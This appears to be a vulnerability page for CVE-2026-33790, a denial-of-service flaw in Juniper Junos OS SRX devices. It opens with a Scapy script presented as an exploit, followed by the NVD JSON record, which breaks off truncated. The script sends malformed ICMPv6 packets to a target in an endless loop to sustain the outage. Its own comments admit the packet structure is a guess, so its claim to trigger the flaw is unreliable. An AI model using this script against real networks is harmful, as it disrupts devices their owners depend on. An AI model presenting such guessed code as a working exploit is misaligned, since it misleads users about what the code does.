CVE-2026-33790

from scapy.all import * # Target configuration target_ip = "2001:db8::1" # Replace with actual target IPv6 iface = "eth0" # Replace with actual network interface # Construct a malformed ICMPv6 packet # Note: The specific malformed structure depends on the vulnerability details. # This example uses an invalid type to simulate unusual conditions. packet = IPv6(dst=target_ip) / ICMPv6Unknown(type=255, code=0) / Raw(load=b"A"*64) print(f"Sending malformed ICMPv6 packet to {target_ip}...") # Send the packet in a loop to sustain the DoS condition try: send(packet, loop=1, inter=0.1, iface=iface) except KeyboardInterrupt: print("Stopped.")

{"cve": {"id": "CVE-2026-33790", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:28.803", "lastModified": "2026-04-17T17:11:49.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Check for Unusual or Exceptional Conditions vulnerability in the flow daemon (flowd) of Juniper Networks Junos OS on SRX Series allows an attacker sending a specific, malformed ICMPv6 packet to cause the srxpfe process to crash and restart. Continued receipt and processing of these packets will repeatedly crash the srxpfe process and sustain the Denial of Service (DoS) condition.\n\nDuring NAT64 translation, receipt of a specific, malformed ICMPv6 packet destined to the device will cause the srxpfe process to crash and restart.\n\nThis issue cannot be triggered using IPv4 nor other IPv6 traffic.\n\n\n\nThis issue affects Junos OS on SRX Series:\n * all versions before 21.2R3-S10,\n * all versions of 21.3,\n * from 21.4 before 21.4R3-S12,\n * all versions of 22.1,\n * from 22.2 before 22.2R3-S8,\n * all versions of 22.4,\n * from 22.4 before 22.4R3-S9,\n * from 23.2 before 23.2R2-S6,\n * from 23.4 before 23.4R2-S7,\n * from 24.2 before 24.2R2-S3,\n * from 24.4 before 24.4R2-S3,\n * from 25.2 before 25.2R1-S2, 25.2R2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:Amber", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "AUTOMATIC", "valueDensity": "CONCENTRATED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*", "versionEndExcluding": "21.2", "matchCriteriaId": "331C0F12-D9B9-483B-9EF0-28E48ED8346D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:21.2:-:*:*:*:*:*:*", "matchCriteriaId": "216E7DDE-453D-481F-92E2-9F8466CDDA3F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:21.2:r1:*:*:*:*:*:*", "matchCriteriaId": "A52AF794-B36B-43A6-82E9-628658624B0A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:21.2:r1-s1:*:*:*:*:*:*", "matchCriteriaId": "3998DC76-F72F-4452-9150-652140B113EB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:21.2:r1-s2:*:*:*:*:*:*", "matchCriteriaId": "36ED4552-2420-45F9-B6E4-6DA2B2B12870"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:21.2:r2:*:*:*:*:*:*", "matchCriteriaId": "C28A14E7-7EA0-4757-9764-E39A27CFDFA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:21.2:r2-s1:*:*:*:*:*:*", "matchCriteriaId": "4A43752D-A4AF-4B4E-B95B-192E42883A5B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:21.2:r2-s2:*:*:*:*:*:*", "matchCriteriaId": "42986538-E9D0-4C2E-B1C4-A763A4EE451B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:21.2:r3:*:*:*:*:*:*", "matchCriteriaId": "DE22CA01-EA7E-4EE5-B59F-EE100688C1DA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:21.2:r3-s1:*:*:*:*:*:*", "matchCriteriaId": "E596ABD9-6ECD-48DC-B770-87B7E62EA345"}, {"vulnerable" ... (truncated)